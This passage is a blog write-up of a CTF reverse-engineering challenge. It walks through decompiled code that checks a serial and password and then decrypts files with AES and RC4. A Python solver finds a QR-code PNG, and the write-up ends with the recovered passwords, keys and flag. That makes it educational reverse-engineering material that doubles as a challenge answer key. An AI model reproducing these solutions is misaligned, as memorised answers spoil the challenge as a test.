md5_hash ): self.resultLabel.setText(&#34;Serial number is valid!&#34;) self.passwordLabel.show() self.passwordInput.show() self.validateButton.clicked.disconnect() self.validateButton.clicked.connect(self.check_password) else: self.attemptCount += 1 self.resultLabel.setText( f&#34;Invalid number. Attempts left: {3 - self.attemptCount}&#34; ) if self.attemptCount &gt;= 3: self.too_many_tries() def check_password(self): if self.passwordInput.text() == self.final_password: self.resultLabel.setText(&#34;Password is valid!&#34;) self.decrypt_and_save_pe() else: self.attemptCount += 1 self.resultLabel.setText(f&#34;Invalid. Attempts left: {3 - self.attemptCount}&#34;) if self.attemptCount &gt;= 3: self.too_many_tries() def too_many_tries(self): self.resultLabel.setText(&#34;Too many incorrect attempts. Application will exit.&#34;) QApplication.quit() def decrypt_and_save_pe(self): target_dat = &#34;B2C3D4E5.DAT&#34; password = self.final_password pe_filename = &#34;QDecryptor.exe&#34; with open(target_dat, &#34;rb&#34;) as f: salt = f.read(16) init_vec = f.read(16) ciphertext = f.read() key = PBKDF2(password, salt, dkLen=32) aes_cipher = AES.new(key, AES.MODE_CBC, iv=init_vec) plaintext = aes_cipher.decrypt(ciphertext) pt_last_char = plaintext[-1] plaintext = plaintext[:-pt_last_char] with open(pe_filename, &#34;wb&#34;) as f: f.write(plaintext) if self.is_valid_PE(pe_filename): self.resultLabel.setText(&#34;Decryption completed.\\nLoader has been saved.&#34;) else: self.resultLabel.setText(&#34;Invalid executable file.&#34;) self.resultLabel.setText(&#34;Decryption completed.&#34;) if __name__ == &#34;__main__&#34;: app = QApplication(sys.argv) ex = CTFChallenge() ex.show() sys.exit(app.exec_()) It&rsquo;s now clear what ctf.py does. A serial number and password are validated, and the correct ones will result in B2C3D4E5.DAT decrypted into a PE file. The serial is the current year followed by any character and a md5 hash of the file. The password is hardcoded as Str34mC1ph3r_0v3rl04d.\nA successful decryption leaves us with QDecryptor.exe, and this has us officially in stage 2 of the challenge. DIE tells us that this is a MSVC C\/C++ PE file, so back to IDA we go!\nint __fastcall main(int argc, const char **argv, const char **envp) { HANDLE ProcessHeap; int i; void *g_file; LARGE_INTEGER file_size; memset(&amp;arg_decrypt, 0, 0x20); arg_decrypt = 0; encryption_key = 0; arg_filename = 0; arg_output_filename = 0; if ( argc &lt; 2 ) { printf(L&#34;[!] No argument provided. Please pass proper argument. \\n&#34;); return 0; } \/\/ this is some next-level argument parsing \/\/ -k is the key \/\/ -i is the input file \/\/ -o is the output file \/\/ -d is the decrypt flag for ( i = 1; i &lt; argc &amp;&amp; *argv[i] == 45; ++i ) { if ( !wcscmp(argv[i], L&#34;-d&#34;) || !wcscmp(argv[i], L&#34;--decrypt&#34;) ) { arg_decrypt = 1; } else if ( !wcscmp(argv[i], L&#34;-k&#34;) || !wcscmp(argv[i], L&#34;--key&#34;) ) { if ( i + 1 == argc ) { printf(L&#34;[!] Error: missing command specification after -k\/--key \\n&#34;); usage(); return 1; } encryption_key = argv[++i]; } else if ( !wcscmp(argv[i], L&#34;-i&#34;) || !wcscmp(argv[i], L&#34;--in&#34;) ) { if ( i + 1 == argc ) { printf(L&#34;[!] Error: Input file is missing \\n&#34;); usage(); return 1; } arg_filename = argv[++i]; } else if ( !wcscmp(argv[i], L&#34;-o&#34;) || !wcscmp(argv[i], L&#34;--out&#34;) ) { if ( i + 1 == argc ) { printf(L&#34;[!] Error: output file path is missing \\n&#34;); usage(); return 1; } arg_output_filename = argv[++i]; } else { printf(L&#34;unknown option \\&#34;%s\\&#34;\\n&#34;, argv[i]); } } \/\/ check to see if inputted key is valid if ( !xor_encryption_key(encryption_key) ) { printf(L&#34;[ERROR] Wrong Encryption key\\n&#34;); return 1; } \/\/ if there&#39;s no output file specified, don&#39;t decrypt if ( !arg_output_filename ) return 0; \/\/ sanity check: checks to see if the file contents are normal \/\/ decryption will not proceed if the contents are not what it wants if ( !xor_file(arg_filename) ) return 0; \/\/ check for -d flag before decrypting the file if ( arg_decrypt ) { printf(L&#34;[*] Filename: %s\\n&#34;, arg_filename); printf(L&#34;[*] Encryption key: %s\\n&#34;, encryption_key); printf(L&#34;[*] output filename: %s\\n&#34;, arg_output_filename); \/\/ gets the file size here so if it does the decryption, it knows how much to decrypt file_size = get_file_size(arg_filename); if ( file_size.QuadPart == -1 ) { printf(L&#34;[!] Error: Unable to get file size or file does not exist.\\n&#34;); return 1; } g_file = copy_file_mem(arg_filename, file_size.QuadPart); \/\/ this is the decryption function. it does RC4 decryption if ( g_file &amp;&amp; RC4_decryption_systemfunction032(g_file, encryption_key, file_size.LowPart) ) { \/\/ write decrypted file out if ( arg_output_filename &amp;&amp; !WriteFileContent(g_file, file_size.QuadPart, arg_output_filename) ) printf(L&#34;[!] Error: WriteFileContent.\\n&#34;); printf(L&#34;[*] File has been saved successfully at %s\\n&#34;, arg_output_filename); } ProcessHeap = GetProcessHeap(); HeapFree(ProcessHeap, 0, g_file); } printf(L&#34;[OK] Process has been done. Exit.\\n&#34;); return 0; } The following function will check to see if the given file data is what it expects. It will read the file, and do a XOR operation on the file data. If result of the XOR transformation is the same as the file input, then the program knows the input is valid and it will continue to the decryption of the file.\nint __fastcall xor_file(const WCHAR *filename) { int i; HANDLE hFile; DWORD NumberOfBytesRead; char file_content[16]; memset(file_content, 0, sizeof(file_content)); if ( filename ) { hFile = CreateFileW(filename, GENERIC_READ, 1u, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if ( hFile == -1 ) { p_error(L&#34;CreateFile&#34;); printf(L&#34;Terminal failure: Unable to open file.\\n&#34;); return 0; } else { NumberOfBytesRead = 0; if ( ReadFile(hFile, file_content, 0x10, &amp;NumberOfBytesRead, 0) ) { \/\/ this is the same as the xor_0x3D function. Note that file_data is hardcoded in the program for ( i = 0; i &lt; 0x10; ++i ) file_data[i] ^= 0x3D; \/\/ get file content return memcmp(file_content, file_data, 0x10) == 0; } else { p_error(L&#34;ReadFile&#34;); printf(L&#34;Terminal failure: Unable to read file.\\n&#34;); CloseHandle(hFile); return 0; } } } else { printf(L&#34;[ERROR] Error Reading file....&#34;); return 0; } } We have everything we need to decrypt the data! After extracting the data and the key from the PE, we try to decrypt the data in CyberChef. What we get back is an empty PNG file. What?\nAfter some confusion and head-scratching, we realized that because data in the binary is only 16 bytes long, and there was no way this could contain a PNG with any data in it. What about all those .DAT files in the original archive? One of those must contain our flag.\ndrec wrote a python script to attempt to decrypt every .DAT file and check to see if it&rsquo;s decryption yielded a valid PNG.\n# import Rc4 from Crypto.Cipher import ARC4 def chunks(l, n): # Yield successive n-sized chunks from l. for i in range(0, len(l), n): yield l[i:i + n] def decrypt(key, ciphertext): ret = b&#39;&#39; cipher = ARC4.new(key) for chunk in chunks(ciphertext, 16): ret += cipher.decrypt(chunk) # ret = cipher.decrypt(ciphertext) return ret def xor_0x3d(a): return b&#39;&#39;.join([bytes([i ^ 0x3d]) for i in a]) def list_data_files(): # return list of data files ending with .DAT import os return [f for f in os.listdir() if f.endswith(&#39;.DAT&#39;)] # PNG starts with b&#39;\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A&#39; def is_png(data): return b&#39;\\x89\\x50\\x4E\\x47\\x0D\\x0A\\x1A\\x0A&#39; in data def check_file(filename): with open(filename, &#39;rb&#39;) as f: data = f.read() # decrypted = decrypt(xor_0x3d(b&#39;Encrypt0r_K3yMast3r!&#39;), data) decrypted = decrypt(b&#39;Encrypt0r_K3yMast3r!&#39;, data) with open(filename + &#39;.png&#39;, &#39;wb&#39;) as f: f.write(decrypted) if is_png(decrypted): print(&#39;PNG file: {}&#39;.format(filename)) else: print(&#39;Not PNG file: {}&#39;.format(filename)) def main(): dats = list_data_files() for dat in dats: check_file(dat) if __name__ == &#39;__main__&#39;: # sanity check to see if we can decrypt the sample file to a PNG # AB 2D 01 8C 6A 8F FD 1F CD 17 63 DB 79 6E 64 06 # dat = b&#39;\\xAB\\x2D\\x01\\x8C\\x6A\\x8F\\xFD\\x1F\\xCD\\x17\\x63\\xDB\\x79\\x6E\\x64\\x06&#39; # b&#39;\\x96\\x10&lt;\\xB1W\\xB2\\xC0\\x22\\xF0\\x2A\\x5E\\xE6DSY;&#39; # wee = decrypt(b&#39;Encrypt0r_K3yMast3r!&#39;, xor_0x3d(dat)) # assert is_png(buff) main() Running the script gives us a single hit 2C3D4E5F.DAT. We open the decrypted PNG, and are met with a QR code. A little known tip is that CyberChef can also read QR Codes! By using the Parse QR Code feature, we can extract the data, which seems to be base64 encoded\nUEsDBBQAAAAIAIiFJli2E9HCOgAAADAAAAAIAAAAZmlsZS50eHQFQLEKgCAQ\/SWDBm9wi2tK8GHcNV6Zg7hF1OcLNH4m9B5Sepqw3q48m6IZ+\/\/stNsSa85wV+O5phAGUEsBAhQAFAAAAAgAiIUmWLYT0cI6AAAAMAAAAAgAAAAAAAAAAAAAAAAAAAAAAGZpbGUudHh0UEsFBgAAAAABAAEANgAAAGAAAAAAAA== I instantly recognized the PK bytes here as the magic bytes for the ZIP file format. Unzipping the file gives us more base64 encoded data, and de-encoding that leads to the flag! Here is the full CyberChef chain.\nEspionageCTF{Gl1tch_1n_Th3_M4tr1x}\nConclusion I hope you enjoyed my writeup and learnt something from it! Props to the challenge authors and ISSessions for hosting the CTF.\n","permalink":"https:\/\/fastcall.dev\/posts\/iss-rev-2024\/","summary":"Write-ups for all the reverse engineering challenges in Espionage CTF 2024.","title":"ISSessions Espionage CTF 2024 RE challenge writeups"}]